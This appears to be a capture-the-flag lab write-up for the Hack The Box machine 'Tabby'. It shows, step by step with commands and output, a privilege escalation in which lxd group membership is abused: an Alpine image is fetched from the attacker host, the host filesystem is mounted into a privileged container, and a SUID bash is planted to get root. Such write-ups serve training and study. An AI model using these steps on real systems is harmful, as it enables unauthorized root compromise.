LXC / LXD


ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

The ash user has a membership to the lxd group While this was initially enumerated earlier, and also picked up by PEAS at a later stage, it could not be exploited as I did not have access to the ash user

Now that I have compromised the ash user, I could move forward to it

Building the Image


┌──(kali㉿kali)-[~/…/htb/labs/tabby/lxd]
└─$ git clone https://github.com/saghul/lxd-alpine-builder ; cd lxd-alpine-builder
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42
Receiving objects: 100% (50/50), 3.11 MiB | 12.21 MiB/s, done.
Resolving deltas: 100% (15/15), done.

Downloading the lxd-alpine-builder to Kali

┌──(kali㉿kali)-[~/…/labs/tabby/lxd/lxd-alpine-builder]
└─$ sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
 
┌──(kali㉿kali)-[~/…/labs/tabby/lxd/lxd-alpine-builder]
└─$ sudo ./build-alpine -a i686
Determining the latest release... v3.8
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.8/main/x86
Downloading alpine-keys-2.1-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.6-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-mirrors-3.5.9-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2653  100  2653    0     0   2930      0 --:--:-- --:--:-- --:--:--  2931
--2023-09-23 14:53:42--  http://alpine.mirror.wearetriple.com/MIRRORS.txt
Resolving alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)... 93.187.10.106, 2a00:1f00:dc06:10::106
Connecting to alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2653 (2.6K) [text/plain]
Saving to: ‘/home/kali/archive/htb/labs/tabby/lxd/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’
 
/home/kali/archive/htb/labs/tabby 100%[=============================================================>]   2.59K  --.-KB/s    in 0s      
 
2023-09-23 14:53:42 (404 MB/s) - ‘/home/kali/archive/htb/labs/tabby/lxd/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [2653/2653]
 
Selecting mirror http://mirror.vinehost.net/alpine//v3.8/main
fetch http://mirror.vinehost.net/alpine//v3.8/main/x86/APKINDEX.tar.gz
(1/18) Installing musl (1.1.19-r11)
(2/18) Installing busybox (1.28.4-r3)
Executing busybox-1.28.4-r3.post-install
(3/18) Installing alpine-baselayout (3.1.0-r0)
Executing alpine-baselayout-3.1.0-r0.pre-install
Executing alpine-baselayout-3.1.0-r0.post-install
(4/18) Installing openrc (0.35.5-r5)
Executing openrc-0.35.5-r5.post-install
(5/18) Installing alpine-conf (3.8.0-r0)
(6/18) Installing libressl2.7-libcrypto (2.7.5-r0)
(7/18) Installing libressl2.7-libssl (2.7.5-r0)
(8/18) Installing libressl2.7-libtls (2.7.5-r0)
(9/18) Installing ssl_client (1.28.4-r3)
(10/18) Installing zlib (1.2.11-r1)
(11/18) Installing apk-tools (2.10.6-r0)
(12/18) Installing busybox-suid (1.28.4-r3)
(13/18) Installing busybox-initscripts (3.1-r4)
Executing busybox-initscripts-3.1-r4.post-install
(14/18) Installing scanelf (1.2.3-r0)
(15/18) Installing musl-utils (1.1.19-r11)
(16/18) Installing libc-utils (0.7.1-r0)
(17/18) Installing alpine-keys (2.1-r1)
(18/18) Installing alpine-base (3.8.5-r0)
Executing busybox-1.28.4-r3.trigger
OK: 7 MiB in 18 packages

Building the image

ash@tabby:~$ wget -q http://10.10.16.5/lxd/lxd-alpine-builder/alpine-v3.8-i686-20230923_1453.tar.gz

Transferring the built image to the home directory of the ash user

Configuring the Container


ash@tabby:~$ lxc image import ./alpine-v3.8-i686-20230923_1453.tar.gz --alias myimage
if this is your first time running lxd on this machine, you should also run: lxd init
to start your first instance, try: lxc launch ubuntu:18.04
 
image imported with fingerprint: 89d381e0fa872793342e195cb91f880709cfabf2b7e79f59279794a7d5404d45

Importing the built image

ash@tabby:~$ lxd init
would you like to use lxd clustering? (yes/no) [default=no]: 
do you want to configure a new storage pool? (yes/no) [default=yes]: 
name of the new storage pool [default=default]: 
name of the storage backend to use (btrfs, dir, lvm, zfs, ceph) [default=zfs]: 
create a new zfs pool? (yes/no) [default=yes]: 
would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]: 
size in gb of the new loop device (1gb minimum) [default=5gb]: 
would you like to connect to a maas server? (yes/no) [default=no]: 
would you like to create a new local network bridge? (yes/no) [default=yes]: 
what should the new bridge be called? [default=lxdbr0]: 
what ipv4 address should be used? (cidr subnet notation, “auto” or “none”) [default=auto]: 
what ipv6 address should be used? (cidr subnet notation, “auto” or “none”) [default=auto]: 
would you like the lxd server to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 
would you like a yaml "lxd init" preseed to be printed? (yes/no) [default=no]: 

Initializing lxd with default options

ash@tabby:~$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer

Creating a container with the imported image It’s important to provide the security.privileged=true flag

ash@tabby:~$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer

Now, mounting the host filesystem into the /mnt/root directory

Inside the Container


ash@tabby:~$ lxc start mycontainer ; lxc exec mycontainer /bin/sh

Starting and entering into the configured container

~ # cd /mnt/root ; ls -lasht
total 73
     0 drwxr-xr-x    3 root     root           3 Sep 23 12:58 ..
     4 drwxr-xr-x    2 root     root        4.0K Sep 23 12:55 media
     4 drwxrwxrwt   14 root     root        4.0K Sep 23 12:39 tmp
     0 drwxr-xr-x   27 root     root         820 Sep 23 12:09 run
     0 drwxr-xr-x   17 root     root        3.8K Sep 23 08:18 dev
     0 dr-xr-xr-x   13 root     root           0 Sep 23 08:18 sys
     0 dr-xr-xr-x  307 root     root           0 Sep 23 08:18 proc
     4 drwxr-xr-x   20 root     root        4.0K Sep  7  2021 .
     4 drwxr-xr-x  100 root     root        4.0K Sep  7  2021 etc
     4 drwxr-xr-x    7 root     root        4.0K Sep  7  2021 snap
     4 drwxr-xr-x    3 root     root        4.0K Aug 19  2021 boot
     4 drwxr-xr-x    2 root     root        4.0K Aug 19  2021 cdrom
     4 drwxr-xr-x    3 root     root        4.0K Aug 19  2021 home
     4 drwxr-xr-x    2 root     root        4.0K Aug 19  2021 mnt
     4 drwxr-xr-x    3 root     root        4.0K Aug 19  2021 opt
     4 drwx------    6 root     root        4.0K Aug 19  2021 root
     4 drwxr-xr-x    2 root     root        4.0K Aug 19  2021 srv
     4 drwxr-xr-x   14 root     root        4.0K Aug 19  2021 var
    16 drwx------    2 root     root       16.0K May 19  2020 lost+found
     4 drwxr-xr-x   14 root     root        4.0K Apr 23  2020 usr
     0 lrwxrwxrwx    1 root     root           7 Apr 23  2020 bin -> usr/bin
     0 lrwxrwxrwx    1 root     root           7 Apr 23  2020 lib -> usr/lib
     0 lrwxrwxrwx    1 root     root           9 Apr 23  2020 lib32 -> usr/lib32
     0 lrwxrwxrwx    1 root     root           9 Apr 23  2020 lib64 -> usr/lib64
     0 lrwxrwxrwx    1 root     root          10 Apr 23  2020 libx32 -> usr/libx32
     0 lrwxrwxrwx    1 root     root           8 Apr 23  2020 sbin -> usr/sbin

This is the host filesystem attached to the newly created container at the /mnt/root directory

SUID bash


/mnt/root # cp bin/bash home/ash/root ; chmod +s home/ash/root ; exit

Creating a SUID bash and exiting out of the container

The SUID bash, root, is now available at the home directory of the ash user

ash@tabby:~$ ./root -p
root-5.0# whoami
root
root-5.0# hostname
tabby
root-5.0# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.194  netmask 255.255.255.0  broadcast 10.10.10.255
        ether 00:50:56:b9:7b:bb  txqueuelen 1000  (Ethernet)
        RX packets 2502823  bytes 409805927 (409.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2552644  bytes 1291320207 (1.2 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 24789  bytes 1929673 (1.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24789  bytes 1929673 (1.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lxdbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.219.239.1  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::216:3eff:fe96:99ed  prefixlen 64  scopeid 0x20<link>
        inet6 fd42:5a1c:7ce3:6a6c::1  prefixlen 64  scopeid 0x0<global>
        ether 00:16:3e:96:99:ed  txqueuelen 1000  (Ethernet)
        RX packets 15  bytes 1516 (1.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 22  bytes 3292 (3.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth05df50ac: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 9a:59:6f:92:8f:ff  txqueuelen 1000  (Ethernet)
        RX packets 15  bytes 1726 (1.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 22  bytes 3292 (3.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise